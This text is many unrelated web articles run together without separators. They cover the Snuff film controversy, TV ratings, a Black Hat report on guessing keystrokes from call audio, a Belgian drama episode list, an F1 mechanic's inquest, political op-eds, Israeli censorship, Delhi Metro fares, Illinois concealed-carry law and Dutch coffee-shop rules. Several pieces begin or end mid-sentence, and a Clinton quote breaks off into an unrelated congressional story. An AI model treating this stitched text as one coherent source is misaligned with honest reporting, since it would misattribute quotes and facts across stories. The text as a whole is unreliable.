involved in the production, distribution and exhibition of adult motion pictures, the AFAA fought against negative representation, which included among other things child exploitation and rumours of so-called snuff films. Shackleton, hitherto a member of the AFAA, was unceremoniously kicked out of the organization because of Snuff. Aware that it was all a gimmick and that no one was actually killed in Snuff, the AFAA nevertheless took pains to distance itself from the film. It was the sort of attention they didn’t need. President Vince Miranda, owner of the Pussycat Theater chain, announced that AFAA member theaters would not be screening it. But by and large, Snuff circumvented adult theaters anyway and played the regular houses. The AFAA unwittingly played into Shackleton’s hands when its members joined picket lines on Hollywood Boulevard in Los Angeles. “We called a press conference to say the film was a phoney,” recalled AFAA chairman David Friedman, “and that we were proud to say we would not show it.” But the AFAA were not the only group protesting Snuff. Women’s groups were also up in arms. The absurdity of a theatrical motion picture that dabbled in actual murder (of a crew member, no less) was lost on some; likewise, that such a movie, supposedly having been ‘smuggled’ into the country, should turn up in New York City and openly promote itself on Times Square and around the country. It didn’t matter because lobby groups still protested against it, media still arrived to document the protestations, and officials continued to look into the matter. But the protests outside the National Theater, which included the presence of ‘high profile’ FBI agents, didn’t stop the movie grossing over $300,000 during its first eight weeks and it certainly didn’t halt the publicity, which shifted into gears possibly beyond the expectation of even Allan Shackleton. Snuff was a rampaging publicity monster. Killing for Culture available now in special edition—out in paperback next year. And below you can check out the official new Killing For Culture documentary, The Death Illusion: Murder, Cinema & the Myth of Snuff, directed by David Hinds and written and narrated by occasional Dangerous Mind Thomas McGrath.On the heels of Agents of S.H.I.E.L.D.‘s modest yet still meaningful uptick this week in the ratings, Marvel TV chief Jeph Loeb remains bullish on the ABC series’ prospects for Season 5. “We’re hopeful” for renewal, Loeb shared with TVLine as he arrived at Freeform’s Upfront presentation on Wednesday afternoon, where Marvel’s Cloak & Dagger and Marvel’s New Warriors were among the new live-action fare being touted. 10 Shows on the Bubble Launch Gallery Launch Gallery Going into its April 18 broadcast, S.H.I.E.L.D. Season 4 has been averaging 2.4 million total weekly viewers and a 0.8 demo rating in Live+Same Day numbers. In the demo, the Marvel series outranks five other ABC dramas, while also enjoying a 113 percent bump with DVR playback — second only to the network’s sure-to-be-renewed Designated Survivor and fellow bubble show Quantico (both of which see 129 percent gains). In total audience, however, only DOA Time After Time and the critically lauded American Crime draw tinier crowds. Thus far for the 2017-18 TV season, ABC has only renewed Shondaland’s Grey’s Anatomy/Scandal/How to Get Away With Murder trifecta, plus The Middle on the comedy side. Last spring, the Alphabet network cut a total of eight in-season dramas (including Nashville and Marvel’s Agent Carter). S.H.I.E.L.D. opened Season 4 with 3.4 million total viewers and a 1.1 rating, but as recently as mid-February — during the climax of its LMD arc — it hit series lows, drawing just 2 million total viewers and a 0.6 rating. The new Framework/”Agents of Hydra” pod, though, has not only brought on a creative spark (as the heroes contend with a topsy-turvy reality) but also nudged the numbers up to 2.43 mil and 0.8 with this week’s episode, marking the show’s (faint praise alert?) best numbers since its Jan. 10 winter premiere. But is that (literally) too little, too late? In TVLine’s recent series of Keep or Cut? polls, S.H.I.E.L.D. drew the strongest positive response of three ABC bubble dramas, with 90 percent voting to “Keep” (versus reset-bound Once Upon a Time‘s 76 percent and Quantico‘s 63 percent). Having been reminded of how great S.H.I.E.L.D. can be when it’s good, how are you now leaning toward the possibility of renewal? With the eight-episode Marvel’s Inhuman set for a September launch, should ABC at least allow S.H.I.E.L.D. a shortened farewell run? (With reporting by Andy Swift)It’s possible to spy on users who type while they make voice or video calls using apps like Skype, WhatsApp, Hangouts or Viber. At least that’s what a group of researchers told us at Black Hat USA 2017, an event that is dedicated to security and hacking. “Many of us talk on Skype, Hangouts, WhatsApp, or Viber while using the computer for something else,” explained Kaspersky during their conference summary. “You already know it’s not very polite, but it can be dangerous as well. Click, click, click…the sound of typing on a physical computer keyboard is rather recognizable. Your conversation partner knows you may be chatting or doing something else while conversing.” Advertisement It turns out that machine-learning software can gradually recognize the specific keys you’re pressing. Almost every keyboard has a specific sound for each key, which means that if somebody records you typing, over time he/she can find out what you’ve pressed and consequently know what you’ve written. “At the Black Hat hacking conference in Las Vegas, we saw a presentation on how to make it happen. According to the researchers, even after the sound has undergone conversions during online transmission, the recordings of key clicks retain sufficient information to feed to a machine-learning system and get back the five most probable key presses.” Machine-learning software can fine tune this even further if it knows the keyboard layout and the language the victim has used. “The experts claim that this technology might be used even to steal passwords, although that sounds a bit far-fetched,” says Kaspersky. “Passwords are too short and do not consist of real words most of the time. At least, we hope they don’t.” During the investigation, researchers took five volunteers and had them type on 3 different laptops. They recorded their typing with the audio (under three variations: plain recording, Skype recording and Hangouts recording) and then tried to figure out what they had written. The software researchers used for the test correctly determined the five possible keys the volunteer had pressed at each moment 90% of the time, across all three methods of recording. It correctly determined the exact key that had been pressed between 70-80% of the time, depending on the type of recording. In this way, researchers concluded that we should be careful when typing while on a call. If somebody manages to intercept our conversation, record our typing and use the right software, our privacy could be ruined. Of course, this situation isn’t exactly commonplace. At the presentation, researchers used scaremongering to get the public’s attention. That’s why I’m sticking to Kaspersky’s more moderate conclusions: “The threat of ‘input interception’ over Skype does not look too serious, but it’s worth knowing about, especially if you sometimes deal with confidential information.” Here Kaspersky says that it’s possible that this type of thing could occur with people who work with private information; they could be spied on with the method of recording their typing and later figuring out the keys they pressed. “And let’s face it, typing during conversations is not very courteous; hence, avoiding that kind of multitasking will both protect your privacy and show respect for your conversation partner. However, if you find yourself in a middle of an especially long and tiresome conference call, observe the golden rule: Anyone who is not speaking should mute his or her microphone until it’s time to talk.” Source: Kaspersky’s blogCaught in an afterlife limbo, teenage Kato investigates her own mysterious death and unravels a web of secrets in her seemingly tranquil village. 1. The Body 50m After finding her own bloody corpse in a hotel bath, Kato slowly realizes that she's dead -- yet a handful of people can still see and hear her. 2. The Five 52m As federal authorities arrive to investigate her death, Kato looks for clues and identifies the five people who can inexplicably still see her. 3. The Medium 46m While Schneider expands the investigation, Kato and Charlie manipulate the police into searching the Hotel Beau Séjour for evidence. 4. The Opening 48m Kato discovers a crucial detail about the night of her death, and Schneider looks for clues in a cold case with striking parallels to Kato's murder. 5. Full Moon 49m After the police focus their suspicions on a mysterious motorcyclist, Kato works to track down a dangerous drug dealer connected to her death. 6. The Wedding 50m Kato suspects the "seers" of harboring secrets about the night she died. Schneider's investigation faces a betrayal from inside the department. 7. The Film 47m Kato makes an unnerving discovery about the night of the festival. The police use DNA to make an arrest, but a leaked sex tape leads to more violence. 8. The Massland Murders 51m As the town reels from further tragedy, Schneider searches for a connection to Kato's murder, and one of the "seers" makes a dramatic confession. 9. The Confession 50m While Schneider harbors doubts about the confession, Alexander makes a discovery and Kato enlists Ines to help her draw out a cryptic online admirer.Raiden Game History Raiden carries on with the successful formula of the many shooters that has preceded it. It is the first game in a successful series of blasters featuring an experimental supersonic attack fighter, that has to defend earth from the invading alien hordes. The name Raiden derived from an actual Japanese fighter that was in service during the second world war. First released into the arcades in 1990, developed by Seibu Kaihatsu and published by Fabtek. Raiden is a single or two player co-op game of the scrolling shoot 'em up genre. The object of the game is simple, as the player you take control of the Raiden attack fighter, and must battle your way through eight levels and various enemies. The fighter comes equipped with two different types of weapon, (normal and homing) which can be made even more powerful with the addition of power ups. Each one of the eight levels ends with a boss. When all eight levels are completed the game begins again on the first level, only this time the enemies fire at a higher rate. Due to the success of Raiden, the game spawned three true sequels, these include; Raiden DX (1994)Raiden 3 (2005)Raiden 4 (2007)There were numerous spin-off games released also, including; Viper Phase 1 (1995)Raiden Fighters (1996)Raiden Fighters 2: Operation Hell Dive (1997)Raiden Fighters Jet (1998)Raiden Fighters 2: 2002 Operation Hell Dive (2002)Since the arcade release, Raiden has been converted onto numerous platforms, including; AmigaAtari JaguarNEC-PCSony PlayStationSega Mega DriveSuper Nintendo Entertainment SystemGet the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email A Formula One mechanic at the heart of the sort's "spy-gate" scandal jumped in front of a lorry on a busy motorway days, an inquest heard. Nigel Stepney, 56, helped guide Michael Schumacher to five world championships but was sacked as chief mechanic at Ferrari after allegations of industrial espionage. He was sentenced to 20 months in prison for sabotage, industrial espionage and sporting fraud after leaking almost 800 pages of confidential Ferrari information to McLaren ahead of the 2007 season. Mr Stepney did not serve the sentence but lost his job and never worked in F1 again. An inquest has heard how he was killed on the M20 on May 2. The father-of-four had been driving home to Colchester, Essex, from Belgium when he pulled over to the hardshoulder near Ashford, Kent. (Image: Clive Mason) He switched his lights off, got out of his silver VW van and locked the doors. Dutch HGV driver Jan Byl told an inquest in Folkestone, Kent, this week that Stepney then "dived" in front of his lorry before he had time to hit the brake. A friend of Mr Stepney, karen Day, told the inquest that he had asked her to be the witness to two new life insurance policies just three days before the crash. But Mr Stepney's partner of nine years, Ash Naidoo told the inquest her boyfriend was not suicidal. She said: "He drives great distances every day and he gets very tired. The onset is very sudden and he often has to pull over to have a breather. "I believe he stopped for that reason. He endured many things that could have persuaded him to do this eight years ago and he got through them. "He loved his life and he loved his daughter too much to abandon her." Coroner Rachel Redman said she could not record a verdict of suicide and instead recorded an open verdict.I am convinced that Trump is making all of this up as he goes along, and that is utterly frightening. You don’t know what he’ll say, or if he’ll backtrack after he says it. His policy ramblings are a nightmare, and his debate performances were meaningless displays. Still, he’s here, and for now, he’s leading. In an interview with Kirsten Powers from USA Today, published on Monday afternoon, Trump continued his nonsense. When asked if he would begin moving toward being presidential, Trump said “The time is going to be soon”. If you’re running for president, you should act presidential on day one. I don’t expect candidates to be perfect, because none of them are, but why wait to act worthy of the office you strive for? Because it’s all a joke to Trump, and he’s just along for the wild ride. And unfortunately for us, that ride could lead to the GOP nomination. Further on in the interview, these thoughts were shared: Could he build coalitions with people who had wronged him? Could he, for example, see appointing Sen. Marco Rubio to a position in his administration? “Yes. I like Marco Rubio. Yeah. I could,” he answered. As for a potential Rubio vice president: “There are people I have in mind in terms of vice president. I just haven’t told anybody names. … I do like Marco. I do like (John) Kasich. … I like (Scott) Walker actually in a lot of ways. I hit him very hard. … But I’ve always liked him. There are people I like, but I don’t think they like me because I have hit them hard.” He seems to have forgiven Rubio for his cringe-inducing attempt at stand-up comedy at Trump’s expense. “He made a mistake,” Trump said. “He became Don Rickles for about four days, and then I became worse than Don Rickles.” It’s hard to believe Trump thinks about anything other than the minute he is in. He is unserious in his VP suggestions, and then describes himself as worse than a stand-up comedian. We’re the audience who isn’t laughing. Trump’s social media meltdown over Colorado is further proof of his inability to handle himself in a manner worthy of receiving my vote. Beyond that, he can clearly not handle media personalities who disagree with him, and his campaign loves to claim fraud when voters show their favor to another candidate. Donald Trump understands that his antics lure emotional voters to him, and cause the media to spend the majority of their time discussing him. As Trump admitted in the interview: So, why not just stick to substance and stop with the other stuff? “Maybe the other stuff is part of it,” Trump said. “If I didn’t do it, then you might not be talking to me about a race where we are leading substantially.” Trump will not be moving toward presidential behavior any time during the campaign, and should he win (God forbid), why would that change? He understands the superficial sway he has on the electorate, and that fuels him. Why? Because popularity and bravado are what drive both himself and the many who support him. We’ve had almost 8 years of non-presidential behavior, and should not again vote for a character who plays a role, rather than fulfills a duty. Trump is not presidential now, nor will he ever be, even if he inhabits the office.Youth pastor Daniel Diaz, 33, was driving home from a church party with friends when he was shot and killed by an unidentified assailant in Pomona, Calif. The shooting occurred just hours after a peace and prayer rally was held by community leaders against gun violence. Diaz, a youth minister at New Beginning Community Ministries Church in Baldwin Park, was much beloved in his community, who gathered on Tuesday night at a memorial vigil for him. His mother tearfully said, "To the person who did this, if I could see you face to face, I would tell you that God loves you. And if you knew my son, my son would have loved you." His girlfriend, Denise Lugo, said, "Daniel was wonderful. I loved him very much. I’m just brokenhearted, right now. I hurt so bad.”The latest right-wing sting operation against Israeli human rights groups made it to primetime this week. Israeli journalists, once again, played a central role in shaming those who criticize the occupation. A Channel 2 report that aired Thursday night accused Israeli human rights organization Breaking the Silence of gathering confidential information on Israeli military operations through its interviews with former soldiers. The report was based on hidden camera footage recorded by right-wing group “Ad Kan,” which infiltrates and gathers information in order to shame anti-occupation organizations. The footage shows Breaking the Silence activists collecting testimonies from several former soldiers, which include questions on Gaza tunnels as well as military equipment and positions. By Friday morning, Defense Minister Moshe Ya’alon had already ordered an investigation into the activities of the organization, accusing it of attempting to collect state secrets. Others went as for as talking about espionage. The following is a translation of a Hebrew piece I wrote. ________________ Ronen Bergman, Yedioth Ahronoth‘s excellent defense correspondent, often describes the immense powers of Israeli secrecy as follows: imagine that you write down the following sentence on a piece of paper: “The State of Israel has X atomic bombs,” and then place that piece of paper into your pocket. From this moment on, you are guilty of “possessing state secrets,” and can be sentenced to prison. All journalists are exposed to classified material. Since all army information is classified, every article on security-related matters begins with gathering classified materials — even those PR items organized by the IDF Spokesperson. In other countries, professional ethics guide journalists when they decide what to publish. The idea is that the responsibility for keeping secret rests with the authorities, and whatever they cannot or wouldn’t keep secret could be published. In Israel, the situation is the exact opposite: nothing related to state security can be published without prior approval from the IDF Censor. This is a drastic, unprecedented restriction on the ability to have a serious conversation on Israeli politics and history. Much of the public is completely ignorant when it comes to critical actions and policies. Over the years, some of Israel’s leading journalists tried to challenge the Censor. They turned to the courts in order to gain approval to publish material, and at times even risked prison time for publishing materials that were in the public’s interest. Hadashot, a defunct Israeli daily newspaper, was shut down for three days for publishing photos of one of the Bus 300 hijackers, still alive (he was later killed by his capturers from the Shin Bet). Bergman himself was interrogated over another affair concerning Israel’s nuclear program. Journalists challenged the censor because publishing facts is in the public’s interest. Reporting is the central mission of journalist; censorship is the domain of the regime, and reporters should avoid and fight it. What applies to journalists also applies to human rights organizations, bloggers, researchers — in fact to every citizen. Indeed, Israeli law does not differentiate between all these, and journalists have no special rights when it comes to handling state secrets. And then came Channel 2’s investigation into Breaking the Silence. According to its logic, not only must every piece of information related to the army be sent to the IDF Censor (which Breaking the Silence does, as opposed to nearly all other human rights organizations in the world), but we shouldn’t even interview past and present members of the security establishment on various matters, since we might be exposed to state secrets. Even if those are never published. Even if they are folded and put in a pocket. On Friday morning, Ofer Hadad, the journalist behind the Breaking the Silence story, proudly tweeted that Defense Minister Moshe Ya’alon had “ordered to open an investigation to look into the information extracted from discharged soldiers.” I tried to understand from Hadad why this was a cause for celebration. If the defense minister finishes his investigation into Breaking the Silence and starts looking into Channel 2 News (where he works), won’t he and his colleagues be just as guilty? If the people behind Ad Kan would have come to Hadad and offered him a scoop on the IDF, would he not have tried to interview them? Would he not then build up the best possible story, before letting the IDF Censor decide what he can or cannot published? And maybe, I would like to believe, that in some cases he would even argue with the Censor? Or perhaps Ofer Hadad thinks there is one law for journalists and another for human rights organizations? Or one law for Channel 2 and another for Breaking the Silence? If so, we are talking about a notion that lacks any basis in Israeli law. An even more disturbing thought is that Hadad would not have asked those sources anything at all. Maybe where he works journalists who criticize the army are frowned upon. Maybe they rather criticize those who criticize the army. Maybe Hadad thinks that after he finishes with Breaking the Silence, the defense minister really must start investigating his very own place of work. And maybe we are witnessing the rise of a new kind of investigative journalists: we can call it “journalists in support of censorship.” But those who believe that sunlight is the best disinfectant must also believe that the role of the media and organizations is to expose, check, ask, and become curious — about everything. Only then do we start taking into consideration ethics, censorship, and our own judgement in order to decide what should or shouldn’t be published. Exactly like Breaking the Silence did. Ad Kan’s latest investigation didn’t “expose” a thing aside from the moral corruption of the Israeli media, which is busy ingratiating itself with the public, the government, and the army. Criticism of the occupation becomes taboo, while criticizing the critics becomes the norm. Like the army, the courts, and the police, the media — another venerated Israeli establishment — has cowered in the face of the occupation. This article was first published in Hebrew on Local Call. Read it here.On Friday a 24-year-old navy medic faces a decision that could lead him to military prison after becoming one of the few conscientious objectors in the Royal Navy since the second world war. That man is my husband, Michael Lyons. He joined the navy in 2005 at 18, as a medical assistant submariner. He chose the medic path because he wanted to help people. In 2008 Michael was promoted to the role of leading medical assistant, and has been very proud of his service to his country for the past five years. Throughout his navy career he has spent a considerable amount of time hundreds of feet below sea level, thousands of miles away from his home land. Both of us come from military families: my grandfather was a regimental sergeant major in the army and Michael's was a pilot in the RAF. Sadly both died while serving their country. Last June Michael received an order to deploy for a patrol base in Afghanistan on the 1 March. We were recently engaged and had been planning our wedding for 2011. Michael felt he wanted me to have the legal protection of being his wife, should something happen to him in Afghanistan. So we sacrificed the dream wedding in a beautiful country house that we had booked and married quickly at a register office. We downsized and began to visit family as much as possible before his deployment. All this was done with a sense of duty, knowing that Michael had to go to Afghanistan to serve his country. He was proud. However, in July this year Michael learned 76,000 military documents had been leaked on the internet and published in analysed form in various newspapers. These documents detailed the military's under-reporting of civilian casualties caused by Nato troops, both in the air and on the ground. Examples included the convoy of US marines apparently driving down a six-mile stretch of highway firing at everyone they saw: 19 unarmed civilians were killed and a further 50 wounded. Closer to home there were the allegations that Royal Marines had shot innocent drivers and motorcyclists on eight separate occasions over a six-month period, and that Ghurkhas had called in an air strike on a family compound, leaving seven innocents dead. These were just some of the reports. I remember the day I asked Michael how he felt going to Afghanistan, considering the publication of these reports. Upset by what he had read, he said he didn't believe we were over there for the greater good. He went on to tell me he wouldn't be able to live with himself knowing he had been a part of that. He said: "I can't have that on my conscience." And so it began, the navy mocking the idea he might object to war, the feeling of being ignored, or not being taken seriously. We quickly found the navy's chain of command didn't know how to deal with Michael's fears. He was offered very limited support and advice. And that is not the half of the hell I feel the navy have put my husband through over the last few months. The navy denied his claim that he was objecting to the war on grounds of conscience, and gave no reason why. He was ordered to see a chaplain, even though Michael is an atheist, and the chaplin's statement implied Michael had a slight political reservation, not a moral objection. If Michael had been dishonest and said he was a committed Christian, and because of his faith he could not be part of war on moral grounds, perhaps this would have been over in an instant. So is the navy saying you cannot have a conscience if you are secular? The next step was appealing against the navy's decision – within days, Michael had sent off his statement to the Advisory Committee on Conscientious Objectors. In November we received the letter we had been waiting for: his appeal date. And this Friday I can only hope that he will finally be heard.An ongoing list of 2016’s murders. THIS PAGE WAS LAST UPDATED ON SEPTEMBER 3RD 2016 AND IS NO LONGER UP TO DATE Homicides in 2016: 40 Cleared cases have been grayed out. NOTE: There was one homicide that happened at the end of December 2015, and the victim died of his wounds in early January 2016. We count homicides by the date they were committed, so you’ll see that homicide in our 2015 Richmond Homicide List. — ∮∮∮ — You can find this map’s data in a public Google fusion table. 2016 homicides by month 2016 homicides by area of town 2016 homicides by weapon 2016 homicides by age of victim — ∮∮∮ — Yearly homicides since 1992 This data is available as a public Google Docs spreadsheet.Delhi Metro rides will get more expensive from October, as the fares are set to increase for a second time this year. The fares were last revised in May. However, the hike won’t be too steep this time, going up by a maximum of Rs 10. The DMRC had announced the hike in fares as per the recommendations of the fourth Fare Fixation Committee. Phase one of the hike came into effect in May, the second phase will be implemented from October. Sources also said that despite the hike, Metro fares will still be lowest among all Indian and foreign cities. According to DMRC, the fare will be increased by a maximum of Rs 10. The minimum fare will be Rs 10 and the maximum would be Rs 60. For travel distance of less than two kilometres, the fare will remain Rs 10. For distances between two and five kilometres, the fare will go up from Rs 15 to Rs 20. Delhi Metro removes token counters from 70 stations, time to get tech-savvy Here is why this Metro station will be the most ‘disciplined’ in Delhi For all other distance zones, fares will be increased by Rs 10, with the maximum fare for journeys longer than 32 kms going up from Rs 50 to Rs 60. The DMRC had recorded a fall in ridership when they had first hiked the rates in May this year. The maximum fare then was hiked from Rs 30 to Rs 50. Ridership for the month of June dropped by over 44.8 lakh across the six lines from 2016 to 2017, with the highest drop recorded for line 2. Line 2 had a ridership of 2.92 crores in June 2016, which declined by over 21 lakhs to 2.7 crores in June 2017. However, a DMRC spokesperson said that the ridership had since picked up, and the hike was necessary to meet their input costs. “Electricity tariffs have increased by almost 100 per cent, and the DMRC pays industrial tariffs. We need to meet our input costs. Nobody otherwise would like to hike fares,” they said. The DMRC had been dealing with depleting savings, a Rs 45,000 crore debt and increasing operating ratio, which left little for maintenance, before it revised its fares in May. “The necessity of revision in fares was on account of increase in the cost of inputs - the staff costs, the cost of energy and the cost of repair and maintenance,” a DMRC spokesperson had said then. “Since constitution of the third fare fixation committee, there has been increase in the rate of industrial dearness allowance (DA) by 95.5 per cent (from 16.90 per cent to 112.40 per cent), rate of Central DA by 103 per cent (from 22 per cent to 125 per cent) and average increase in the rate of minimum wages by 156.2 per cent. The last fare revision took place in 2009 and the 4th committee was set up after almost seven years.” First Published: Sep 26, 2017 11:27 ISTJanuary 15, 2010 11:05 am ET — Chris Harris Holding Wall Street Accountable For The Pain They Inflicted On Americans After a decade of greedy and irresponsible behavior on Wall Street, the system finally gave way. The financial collapse of 2008 dragged the entire U.S. economy into the gutter, causing millions of Americans to lose their jobs. As terrible as the crisis was, it could have been much worse. In what President Obama called a "distasteful but necessary thing to do," the Bush administration created the Troubled Asset Relief Program (TARP) to insert some degree of stability into the chaos of the financial sector. Now that the worst is behind us, the big banks and financial institutions on Wall Street owe the American people billions of dollars. It is in that spirit that President Obama announced the Financial Crisis Responsibility Fee - a levy on the very same corporations whose greed inflicted so much pain on the nation. Watch: President Obama: My commitment is to the taxpayer. My commitment is to recover every single dime the American people are owed. And my determination to achieve this goal is only heightened when I see reports of massive profits and obscene bonuses at some of the very firms who owe their continued existence to the American people -- folks who have not been made whole, and who continue to face real hardship in this recession. We want our money back, and we're going to get it. And that's why I'm proposing a Financial Crisis Responsibility Fee to be imposed on major financial firms until the American people are fully compensated for the extraordinary assistance they provided to Wall Street. If these companies are in good enough shape to afford massive bonuses, they are surely in good enough shape to afford paying back every penny to taxpayers. As Obama and progressives stand up to recover the money paid by hardworking Americans, conservatives are already showing signs they will fight to shield the Wall Street bankers who helped cause the crisis. Republican National Committee Chairman Michael Steele insisted that banks - which wouldn't exist had it not been for the assistance from taxpayers - have already paid their fair share. Massachusetts' Scott Brown pledged to oppose the President's effort to recoup taxpayer money if he gets elected to the Senate. House Republicans have come forward in opposition to holding the banks accountable, and a spokesman for the National Republican Congressional Committee told the Wall Street Journal that fighting to recover TARP funds from the nation's largest banks was "tone-deaf." As the debate over this issue moves forward, Americans will see who stands with the people. If Republicans believe protecting Wall Street is their key to endearing themselves to the American public, they're in for quite a surprise.Democratic presidential candidate Sen. Bernie Sanders addresses about 1500 people that are unable to make their way into the gymnasium because of space on the campus of Southern Illinois University in Edwardsville, Illinois on March 4, 2016. Photo by Bill Greenblatt/UPI \| License Photo WASHINGTON, March 5 (UPI) -- Vermont Sen. Bernie Sanders defeated former Secretary of State Hillary Clinton Saturday night in Democratic caucuses in Kansas and Nebraska, while Clinton scored a big win in the Louisiana primary. Sanders had double-digit wins against Clinton in both Kansas and Nebraska, while Clinton was quickly projected to win Louisiana, holding a 50-point lead from the first returns in the state's primary. In addition to the Democratic primary debate Sunday night in Flint, Michigan, Democratic voters in Maine will hit the polls for their caucuses. Nebraska officials announced Sanders had an 11-point lead with about 75 percent of the vote counted, winning 54.77 percent to 45.23 percent. State officials said they were surprised by the large absentee ballot request, three-quarters of which were returned and counted. In Kansas, Sanders finished with 67.7 percent of the vote to Clinton's 32.3 percent. Caucus sites in Kansas were reportedly crowded and featured long lines. Part of the reason for packed Democratic caucus sites was a smaller number of them, resulting in lines as long as a quarter-mile, the Kansas City Star reported. Clinton was expected to win big in Louisiana, with FiveThirtyEight giving her a 99 percent chance of winning the state because of its large African-American population -- similar to predictions made about her performance in South Carolina. Sanders was expected to do well in Nebraska and Kansas, which are somewhat less diverse. At a rally in Michigan, Clinton focused on the general election, criticizing the Republican back-and-forth during their debates and on the campaign trail, which has grown increasingly vulgar and childish in recent weeks. "We have to win this election," Clinton said. "And we all know the stakes keep getting higher and the rhetoric
Virginia, told The Hill that while Sessions is “more vulnerable” than Kind, thanks to the potential of a midterm wave against the president’s party, it would take a massive effort to dislodge him. “An open question for a lot of this, given the shift we saw in 2016, is: Will things revert back to some degree?” he said. “Incumbents are difficult to dislodge, even if they are in districts that become politically difficult for them.” --This story was updated at 9:45 a.m.The Illinois legislature has just passed a concealed-carry bill and the governor may have no choice but to sign it into law. Until now, Illinois was the only one of 50 states that did not allow its citizens to go around packing a gun. But a court decision last year and some very aggressive lobbying by -- you guessed it -- the NRA, finally brought the Land of Lincoln into line. You would think that with all the recent attention being paid to concealed carry of handguns, plus a long history as a state that regulates ownership of guns, that the new concealed-carry law in Illinois might serve as a model for an intelligent and responsible legislative effort to give the state's citizens the right to be armed. To the contrary, the law has parts that are silly, parts that are stupid, and parts that are just bizarre. Did the folks in Springfield even read the bill before they voted? Here's a bizarre part: An individual must apply for the CC license to the State Police and the application then circulates to all law enforcement agencies within the state for comments and review. If an applicant has three arrests for gang-related offenses (yes -- you read it correctly) during the seven years prior to the application, the State Police must refer the application to a Review Board, which will then make a final determination. If the Board believes that this individual does not pose a danger to himself or anyone else, the application goes forward. Now with all due respect to being innocent until proven guilty, how far are we going to stretch the 5th and 6th Amendments in order to protect the 2nd? I mean, give me a break. Does this law mean that if someone was arrested only twice for "gang-related offenses" that their carry-concealed application might be approved? That's the most bizarre part of the law. Want a stupid part? How about the safety course that requires someone to show proficiency in using a handgun by shooting a total of 30 rounds? Well I guess that's better than the safety course required for concealed-carry permits in Florida where the live fire consists of a single round. I'm one to talk because my home state - Massachusetts -- issues the license to carry without any live fire requirement at all. That's really stupid, but so is the new Illinois law that gives citizens the right to carry and use a gun in self-defense with proof of proficiency that's no real proof at all. As for a silly part, try this one. During the safety training, the applicant must also be taught the "appropriate and lawful interaction with law enforcement while transporting or carrying a concealed firearm." What does that mean? As a NRA-certified instructor who has trained several thousand men and women in safe use and shooting of guns, I'll tell you what it means. It means nothing at all. One more point (it's a toss-up between bizarre and stupid so let's just call it dumb.) The new law does not permit bringing a concealed weapon into a bar but allows concealed guns in restaurants where liquor is served, as long as -- get this -- the liquor tab is less than 50 percent of the total bill. So I sit down with you; you order food, I get smashed on a couple of drinks but your steak costs more than my Jack Daniels. Oh, by the way, I'm carrying a gun. And if a town decides it doesn't want to allow such dumbness, the law overrides any local carry-concealed restrictions anyway. I belong to an organization called Evolve. We started this organization because we want to have a rational and realistic discussion about gun violence that will avoid the ideological extremes which characterize the discussion now. And we want to focus on gun safety and the need for everyone to stand for responsible ownership and use of firearms. We have no issue with people owning or carrying guns as long as everyone plays by sensible and effective rules. The new Illinois law is neither sensible nor effective. It's just another example of how two extremes dominate a discussion while the rational middle remains silent and another opportunity for meaningful reform goes right down the drain.AMSTERDAM (BNO NEWS) — In an effort to stop drug tourism, the Dutch government on Friday decided to restrict access to cannabis coffee shops so that tourists will no longer be able to buy the drugs. Coffee shops are establishments in the Netherlands where the sale of cannabis for personal consumption by the public is tolerated by the local authorities. As this is illegal in most countries, many tourists from around the world travel to Amsterdam to use cannabis. But in an effort to reduce criminal behavior and tourism as a result of the drug policy, the Dutch government on Friday decided to introduce a membership system for coffee shops. The city of Amsterdam, where most tourists go, is against the decision The new system will require members of coffee shops to be a citizen of the Netherlands and over the age of 18. “The coalition agreement says that the current open door policy of coffee shops should be stopped and that the fight against organized drug crime should be intensified,” the Dutch cabinet said in a statement. The new laws will require coffee shops to become closed clubs for the local market, meaning that only Dutch citizens will be allowed access if they are able to show a valid ID and have a membership of the coffee shop in question. The membership will be in the form of a club card which can be provided by coffee shop owners if those who want to be a customer can produce a valid ID and proof that he or she lives in the Netherlands. The membership will be for a period of at least a year, but coffee shops will be restricted in the number of club cards they can issue. “The desired small scale will be achieved by the cabinet by capping the number of members of coffee shops. What the exact maximum number of members per coffee shop is will be determined at a later moment,” the cabinet said. “The mayor can under local circumstances impose a lower number of maximum members.” The European Court of Justice previously said the new laws to deny access to foreigners is not in violation of European law. A court case against the new measures is still pending at the Netherlands’ Council of State, but the government does not expect this to be a problem. “The cabinet expects that the closure of coffee shops to foreign drug tourists will result in that they no longer travel to the Netherlands for the sale and consumption of cannabis,” the cabinet said in the statement. “After all, for many of them applies that they can use the existing illegal market in their own country. Nevertheless will the possible side effects of these measures be monitored closely and adequately addressed by the police, judiciary, and administration.” Additionally, the Dutch government also decided on Friday that coffee shops will not be allowed within 350 meters (1,100 feet) of schools. This measure is aimed to stop students from visiting the coffee shops.President Donald Trump has blocked one of the largest attempted acquisitions of a US company by a Chinese firm, with the tough policy against China continuing, despite the exiting of White House chief strategist Steve Bannon, who favored “economic nationalism.” Read more On Wednesday, Trump issued an executive order through the Defense Production Act of 1950, denying the Chinese-backed private equity firm Canyon Bridge Capital Partners from acquiring US-based chipmaker Lattice Semiconductor Corporation for $1.3 billion. Trump stated that Canyon Bridge “shall take all steps necessary to fully and permanently abandon the proposed transaction,” within a timeframe of 30 days, according to Reuters. Treasury Secretary Steve Mnuchin released a written statement on Wednesday outlining the reason for blocking the deal. "Consistent with the administration's commitment to take all actions necessary to ensure the protection of US national security, the president issued an order prohibiting the acquisition," Mnuchin said, according to the Oregonian. Late Wednesday evening, Trump tweeted, "China has a business tax rate of 15%. We should do everything possible to match them in order to win with our economy. Jobs and wages!" The president has called for a 15 percent corporate tax rate, a major drop from the current 35 percent. Roping in China on the issue, on the day of the decision to strike down an international business deal, is evidence that tax reform could also impact trade policy. China has a business tax rate of 15%. We should do everything possible to match them in order to win with our economy. Jobs and wages! — Donald J. Trump (@realDonaldTrump) September 14, 2017 White House Press Secretary Sarah Huckabee Sanders also released a statement referencing China’s stake in the deal, saying the “national-security risk posed by the transaction relates to, among other things, the potential transfer of intellectual property to the foreign acquirer.” Before Trump issued Wednesday’s executive order, the president’s former chief strategist told CBS’s ‘60 Minutes’ program on September 10 that Trump faces obstruction from within Washington’s political establishment in regards to how he handles economic issues. "They do not want Donald Trump's populist, economic nationalist agenda to be implemented," Bannon said. In a speech at the Conservative Political Action Conference in Washington earlier this year, Bannon stated that economic nationalism was the antithesis of “globalism,” which he described as being a governing creed that puts the economic interests of the wealthy international elite and multinational firms above those of normal working class Americans. Trump made criticism of China a pillar of his 2016 presidential campaign, and continued to call out the country's economic dealings with the US during his time as president-elect. Did China ask us if it was OK to devalue their currency (making it hard for our 